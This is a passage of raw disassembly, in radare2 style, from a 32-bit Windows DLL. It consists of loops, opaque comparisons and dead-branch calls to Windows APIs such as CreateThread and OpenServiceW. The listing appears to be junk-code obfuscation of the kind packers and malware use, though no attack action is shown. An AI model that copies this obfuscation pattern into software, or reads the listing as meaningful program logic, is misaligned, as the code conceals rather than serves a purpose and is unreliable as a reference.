cmp dword [ebp - 0x1c], 2
jge 0x10035f6c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb40]
call fcn.10019832
mov dword [eax], 0x4f01c089
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10035f4d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10035f9a
xor edi, edi
inc edi
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x58c]
call fcn.10019832
mov dword [eax], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10035f77
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0xb40]
call fcn.10019832
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x58c]
xor eax, eax
push eax
call fcn.10019832
mov dword [eax], esi
test esi, esi
jne 0x10035feb
xor eax, eax
lea ecx, [ebp - 0x58c]
push eax
call fcn.10019832
cmp dword [eax], esi
je 0x10035fdd
xor eax, eax
lea ecx, [ebp - 0x58c]
push eax
call fcn.10019832
xor eax, eax
lea ecx, [ebp - 0x58c]
push eax
call fcn.10019832
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xb40]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.10019832
lea ecx, [ebp - 0x58c]
mov dword [eax], 0xfcc58a01
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.10019832
mov eax, dword [ebp - 0x34]
push 9
pop ecx
add eax, ecx
je 0x1003602f
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0xd8ef068c
jmp 0x1003604d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003604f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10036081
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003607e
push eax
push 0x1882
push 0x119
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
xor eax, eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffe
jge 0x10036054
lea ecx, [ebp - 0x58c]
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0xb40]
mov dword [ebp - 4], eax
call fcn.10019816
cmp byte [ebp - 0xd], 0
je 0x100361f6
movdqa xmm0, xmmword [0x100080b0]
lea eax, [ebp - 0x11d0]
push eax
lea eax, [ebp - 0x11e0]
push eax
lea ecx, [ebp - 0x1444]
movdqu xmmword [ebp - 0x11e0], xmm0
call fcn.10019841
lea ecx, [ebp - 0x1b1]
mov esi, eax
call fcn.100094e3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x974]
push dword [esi]
call fcn.100197f0
push 2
pop esi
xor eax, eax
mov dword [ebp - 4], 0x10
push esi
lea ecx, [ebp - 0x974]
mov dword [ebp - 0x2c], eax
call fcn.10019832
push esi
lea ecx, [ebp - 0x974]
mov dword [eax], ebx
call fcn.10019832
cmp dword [eax], 0xb
jge 0x100361d9
xor edi, edi
inc edi
mov dword [ebp - 0x28], edi
xor eax, eax
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x100361b0
jmp 0x10036141
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0x18bd8502
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0x4dc41fd9
jne 0x10036162
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, edi
mov ecx, 0xffff
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x20]
jg 0x1003617d
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003617f
mov ecx, edi
jmp 0x10036181
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
add eax, 0x1366a08a
add eax, ecx
xor ecx, ecx
cmp eax, 0xdd44
setg cl
imul eax, ecx, 0xa9d9
sub eax, 0x7b4
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1003613f
push esi
lea ecx, [ebp - 0x974]
call fcn.10019832
push esi
lea ecx, [ebp - 0x974]
inc dword [eax]
call fcn.10019832
cmp dword [eax], 0xb
jl 0x10036129
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
or eax, 0xffffffff
lea ecx, [ebp - 0x974]
mov dword [ebp - 4], eax
call fcn.10019816
push 0xa4a
xor eax, eax
push eax
call edi
jmp 0x100361f9
push 2
pop esi
dec dword [ebp - 0x44]
mov ebx, 0x8c176b0f
push 0
pop eax
jns 0x100351cd
mov dword [ebp - 0x34], 0xfb0b0297
mov dword [ebp - 0x3c], 0xd9dcee34
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x34], eax
jne 0x10036438
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x34]
test edx, edx
jne 0x10036436
mov dword [ebp - 0x24], 0x1b68dee2
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003626e
mov dword [ebp - 0x20], 0x70a3267e
dec dword [ebp - 0x20]
jmp 0x1003627d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003627d
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x69ac
jle 0x100363f8
mov dword [ebp - 0x2c], 0x8131dda8
lea ecx, [ebp - 0xa2c]
mov dword [ebp - 0x20], 0xa450c197
push esi
call fcn.10019794
xor edi, edi
mov dword [ebp - 4], 0x11
inc edi
lea ecx, [ebp - 0xaec]
push edi
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100362ec
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa2c]
call fcn.10019832
mov dword [eax], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100362ce
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10036312
push dword [ebp - 0x18]
lea ecx, [ebp - 0xaec]
call fcn.10019832
mov dword [eax], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100362f4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1003632f
push 6
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x900], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003631d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003633e
mov eax, edi
cmp eax, dword [ebp - 0x34]
jl 0x10036346
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
test eax, eax
sets cl
xor ebx, ebx
cmp ecx, 0x64e7
lea ecx, [ebp - 0xa2c]
setge bl
xor eax, eax
push eax
call fcn.10019832
lea ecx, [ebp - 0xaec]
mov dword [eax], ebx
xor eax, eax
mov dword [ebp - 0x2c], ebx
push eax
call fcn.10019832
mov esi, dword [ebp - 0x2c]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
imul esi, dword [eax]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
sub eax, edx
sub eax, esi
mov dword [ebp - 0x28], eax
jne 0x100363a4
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0xaec]
xor eax, eax
push eax
call fcn.10019832
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x900], eax
jne 0x100363d1
push edi
lea ecx, [ebp - 0xa2c]
call fcn.10019832
lea ecx, [ebp - 0xaec]
mov dword [ebp - 0x3c], 0xe54384f3
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0xa2c]
mov dword [ebp - 4], eax
call fcn.10019816
xor eax, eax
jmp 0x10036465
mov dword [ebp - 0x4c], 0xe4a53e8a
xor edx, edx
mov dword [ebp - 0x3c], 0xfffffff6
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x28], ecx
jmp 0x10036460
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10036462
push eax
push 0x2602
push 0x2165
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
xor eax, eax
xor edi, edi
inc edi
mov dword [ebp - 0x20], 0x42c70bb7
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1003648b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15d8], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036477
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x100364e3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100364b6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3b4], 0xff55e00f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003649e
xor eax, eax
mov dword [ebp - 0x3b4], eax
jmp 0x100364d6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100364d0
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
inc dword [ebp - 0x3b4]
cmp dword [ebp - 0x3b4], ebx
jle 0x100364be
dec dword [ebp - 0x20]
jns 0x10036496
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100364f4
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor eax, eax
mov byte [ebp - 0x45], al
mov ecx, 0x5043c4ab
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x298], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0xae4f9dbc
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], 0x54f8d36f
mov dword [ebp - 0x14], eax
jmp 0x1003653d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xff0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036530
mov eax, dword [ebp - 0x2a4]
xor ecx, ecx
mov eax, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x2a4]
push 8
pop esi
cmp eax, esi
mov eax, dword [ebp - 0x2a4]
setge cl
add eax, ecx
imul eax, eax, 0xe224
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2a4]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10036585
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x298]
mov eax, dword [ebp - 0xfec]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2a4]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, 0xffff
setg cl
xor eax, eax
cmp ecx, 0xfffffffa
setne al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x29c]
cmp eax, 0x6d9935ff
setge cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x29c]
mov eax, dword [ebp - 0xfec]
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x4c], edi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003660d
push eax
push 0x92c
push eax
push eax
push 0x1c43
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
cmp byte [ebp - 0x45], 0
je 0x10036626
push eax
push eax
push 0xdc6
push 0x8b1
push eax
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov edi, dword [sym.imp.ADVAPI32.dll_OpenServiceW]
or eax, 0xffffffff
mov dword [ebp - 0x34], 0x462d5e48
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x478], eax
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 0x88c83b91
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x11
jge 0x10036970
movdqa xmm0, xmmword [0x10008080]
lea eax, [ebp - 0x1250]
push eax
lea eax, [ebp - 0x1260]
push eax
lea ecx, [ebp - 0x1394]
movdqu xmmword [ebp - 0x1260], xmm0
call fcn.10019841
lea ecx, [ebp - 0x213]
mov esi, eax
call fcn.100094e3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x198]
push dword [esi]
call fcn.100197f0
push 3
lea ecx, [ebp - 0x70c]
mov dword [ebp - 4], 0x13
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100366f3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x70c]
call fcn.10019832
mov dword [eax], 0x8f15
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100366d4
xor eax, eax
push eax
lea ecx, [ebp - 0x198]
call fcn.10019832
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x198]
mov eax, dword [ebp - 0x34]
xor esi, esi
inc esi
push esi
call fcn.10019832
push ebx
lea ecx, [ebp - 0x198]
call fcn.10019832
push ebx
lea ecx, [ebp - 0x198]
call fcn.10019832
mov ecx, esi
xor ebx, ebx
push 3
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
lea ecx, [ebp - 0x198]
setg bl
call fcn.10019832
xor ecx, ecx
push 2
cmp dword [eax], ebx
sete cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x198]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
call fcn.10019832
cmp dword [eax], 0
je 0x1003677b
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003677d
jmp 0x1003677f
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x198]
call fcn.10019832
xor ebx, ebx
lea ecx, [ebp - 0x198]
push 2
mov eax, dword [eax]
sub eax, esi
cmp eax, 7
setl bl
call fcn.10019832
push 2
cmp ebx, dword [eax]
pop ebx
je 0x100367b8
push ebx
lea ecx, [ebp - 0x198]
call fcn.10019832
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x70c]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.10019832
push ebx
lea ecx, [ebp - 0x198]
mov esi, eax
call fcn.10019832
mov eax, dword [eax]
add eax, 0xfff9
add eax, dword [esi]
je 0x10036882
mov dword [ebp - 0x24], 0xad540778
xor eax, eax
mov dword [ebp - 0x2c], 0x53ebff78
inc eax
mov dword [ebp - 0x2c], 0xce724d25
xor edx, edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x4c], 0xc012777f
mov ecx, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x484]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10036831
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
neg eax
push ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x70c]
call fcn.10019832
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10036944
push 0x2bc
push eax
push eax
call edi
jmp 0x10036944
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x9a7b
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x198]
push ebx
call fcn.10019832
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], 0xfffffff8
cmp dword [ebp - 0x44], 0x22
jl 0x10036944
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], 0x7762be97
cmp dword [ebp - 0x14], eax
je 0x100368d2
mov esi, ecx
cmp dword [ebp - 0x480], eax
jne 0x100368d4
mov esi, eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
cmp eax, ecx
jge 0x100368e3
xor eax, eax
push ecx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x70c]
call fcn.10019832
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
sub ecx, dword [eax]
cmp esi, ecx
lea ecx, [ebp - 0x70c]
setl bl
xor eax, eax
push eax
call fcn.10019832
xor edx, edx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x22
jge 0x100368b1
push 2
pop ebx
lea ecx, [ebp - 0x70c]
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0x198]
mov dword [ebp - 4], eax
call fcn.10019816
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x11
jl 0x1003666a
push 8
pop esi
mov eax, dword [ebp - 0x484]
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x478]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setg bl
xor edx, edx
sub ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add ebx, 0x7aa5bfbc
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp eax, edx
setle cl
or eax, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], 0x462d5e48
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], eax
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 0x88c83b91
mov dword [ebp - 0x34], eax
jmp 0x10036ceb
movdqa xmm0, xmmword [0x10008080]
lea eax, [ebp - 0x11f0]
push eax
lea eax, [ebp - 0x1200]
push eax
lea ecx, [ebp - 0x13a4]
movdqu xmmword [ebp - 0x1200], xmm0
call fcn.10019841
lea ecx, [ebp - 0x1f9]
mov esi, eax
call fcn.100094e3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x18c]
push dword [esi]
call fcn.100197f0
push 3
lea ecx, [ebp - 0x64c]
mov dword [ebp - 4], 0x15
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10036a80
push dword [ebp - 0x14]
lea ecx, [ebp - 0x64c]
call fcn.10019832
mov dword [eax], 0x8f15
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10036a61
xor eax, eax
push eax
lea ecx, [ebp - 0x18c]
call fcn.10019832
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x18c]
mov eax, dword [ebp - 0x34]
xor esi, esi
inc esi
push esi
call fcn.10019832
push 2
lea ecx, [ebp - 0x18c]
call fcn.10019832
push 2
lea ecx, [ebp - 0x18c]
call fcn.10019832
mov ecx, esi
xor ebx, ebx
push 3
sub ecx, dword [eax]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
lea ecx, [ebp - 0x18c]
setg bl
call fcn.10019832
xor ecx, ecx
push 2
cmp dword [eax], ebx
sete cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x18c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
call fcn.10019832
cmp dword [eax], 0
je 0x10036b0a
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10036b0c
jmp 0x10036b0e
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x18c]
call fcn.10019832
xor ebx, ebx
lea ecx, [ebp - 0x18c]
push 2
mov eax, dword [eax]
sub eax, esi
cmp eax, 7
setl bl
call fcn.10019832
cmp ebx, dword [eax]
je 0x10036b45
push 2
lea ecx, [ebp - 0x18c]
call fcn.10019832
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x64c]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.10019832
push 2
lea ecx, [ebp - 0x18c]
mov esi, eax
call fcn.10019832
mov eax, dword [eax]
add eax, 0xfff9
add eax, dword [esi]
je 0x10036c11
mov dword [ebp - 0x24], 0xad540778
xor eax, eax
mov dword [ebp - 0x2c], 0x53ebff78
inc eax
mov dword [ebp - 0x2c], 0xce724d25
xor edx, edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x4c], 0xc012777f
mov ecx, dword [ebp - 0x49c]
mov eax, dword [ebp - 0x4a4]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10036bbf
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
neg eax
push 2
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x64c]
call fcn.10019832
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10036ccc
push 0x2bc
push eax
push eax
call edi
jmp 0x10036ccc
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x9a7b
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x18c]
push 2
call fcn.10019832
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], 0xfffffff8
jmp 0x10036cc2
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], 0x7762be97
cmp dword [ebp - 0x14], eax
je 0x10036c5d
mov esi, ecx
cmp dword [ebp - 0x4a0], eax
jne 0x10036c5f
mov esi, eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
cmp eax, ecx
jge 0x10036c6e
xor eax, eax
push ecx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x64c]
call fcn.10019832
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
sub ecx, dword [eax]
cmp esi, ecx
lea ecx, [ebp - 0x64c]
setl bl
xor eax, eax
push eax
call fcn.10019832
xor edx, edx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x22
jge 0x10036c3c
lea ecx, [ebp - 0x64c]
call fcn.10019816
or eax, 0xffffffff
lea ecx, [ebp - 0x18c]
mov dword [ebp - 4], eax
call fcn.10019816
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x11
jl 0x100369f7
mov eax, dword [ebp - 0x4a4]
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x498]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
push 2
setg bl
xor edx, edx
sub ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add ebx, 0x7aa5bfbc
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
pop ebx
setg dl
xor ecx, ecx
cmp eax, edx
push ebx
setle cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xf54]
mov dword [ebp - 0x38], eax
call fcn.10019794
mov dword [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x40], 0x42c60eda
xor esi, esi
mov dword [ebp - 0x40], 0xc257
inc esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10036d8d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1138], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10036d79
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10036db3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf54]
call fcn.10019832
mov dword [eax], 0x4ad72d76
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10036d95
xor eax, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x10036e0a
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], 0xbed85728
mov dword [ebp - 0x14], eax
jmp 0x10036ddb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb74], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10036dca
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x1138], 0
jne 0x10036e08
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0xb70]
push 0
mov dword [ebp - 0xb74], eax
dec dword [ebp - 0x2c]
dec dword [ebp - 0x38]
pop eax
jns 0x10036dbb
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10036e1a
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
or eax, 0xffffffff
lea ecx, [ebp - 0xf54]
mov dword [ebp - 4], eax
call fcn.10019816
mov dword [ebp - 0x34], 0x462d5e48
or eax, 0xffffffff
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], eax
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 0x88c83b91
mov dword [ebp - 0x34], eax
jmp 0x10037164
movdqa xmm0, xmmword [0x10008080]
lea eax, [ebp - 0x1290]
push eax
lea eax, [ebp - 0x12a0]
push eax
lea ecx, [ebp - 0x13b4]
movdqu xmmword [ebp - 0x12a0], xmm0
call fcn.10019841
lea ecx, [ebp - 0x1d9]
mov esi, eax
call fcn.100094e3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1a4]
push dword [esi]
call fcn.100197f0
push 3
lea ecx, [ebp - 0x7cc]
mov dword [ebp - 4], 0x18
call fcn.10019794
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10036ef1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7cc]
call fcn.10019832
mov dword [eax], 0x8f15
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10036ed2
xor eax, eax
push eax
lea ecx, [ebp - 0x1a4]
